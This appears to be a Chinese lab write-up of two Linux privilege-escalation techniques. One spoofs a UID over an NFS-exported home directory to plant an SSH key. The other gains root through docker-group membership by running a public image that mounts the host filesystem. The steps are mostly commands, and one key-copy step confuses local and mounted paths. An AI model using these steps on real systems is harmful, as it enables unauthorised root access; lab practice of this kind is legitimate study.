nsf挂载提权
目标机器192.168.217.135开启2049 nfs端口
在攻击机kali安装nfs:
sudo apt-get install nfs-common
查看目标开放的文件夹
showmount -e 192.168.217.135
回显:/home/peter * 说明可挂载/home/peter的所有目录
首先在当前用户目录创建一个文件夹
mkdir /dijia
将目标目录挂载到刚才创建的目录上
sudo mount 192.168.217.135:/home/peter /dijia
到/home/peter/目录使用ls -a命令查看该目录下所有文件
尝试创建文件夹.ssh/ 发现没有权限
然后使用ls -l查看所有文件/目录的权限
发现目录所有者为1001 1005,由于挂载的目录为/home/peter 所以这里可知需要的用户为peter uid为1001 gid为1005
在本机创建一个peter用户并且uid为1001 gid为1005即可
创建组并指定组GID:
groupadd -g 1005 peter
创建用户并指定uid以及gid:
adduser peter -uid 1001 -gid 1005
创建完成后su到peter用户
接下来创建公私钥
ssh-keygen 生成公私钥对(注意当前用户,如果非peter用户需要去该用户的/home/用户名/.ssh/目录下查找公私钥)
在挂载的目录下创建.ssh文件夹
mkdir /dijia/.ssh/
将公钥复制到挂载的目录下
cat /dijia/.ssh/id_rsa.pub > /home/peter/.ssh/authorized_keys
然后赋值权限:
chmod 700 ../.ssh/
chmod 600 authorized_keys
注意:.ssh文件夹必须是700 公钥文件必须是600 才可以连接
ssh peter@192.168.217.135
拿到目标机权限
docker提权
Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了,默认情况下,Docker 软件包是会默认添加一个 docker 用户组
cat /etc/group
此靶场Peter用户默认在docker组
创建用户并加入docker组:
adduser test-d
usermod -G docker test-d
newgrp docker
命令: id 查看当前用户组信息
提权(需要能够从外网拉镜像):
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS
提权成功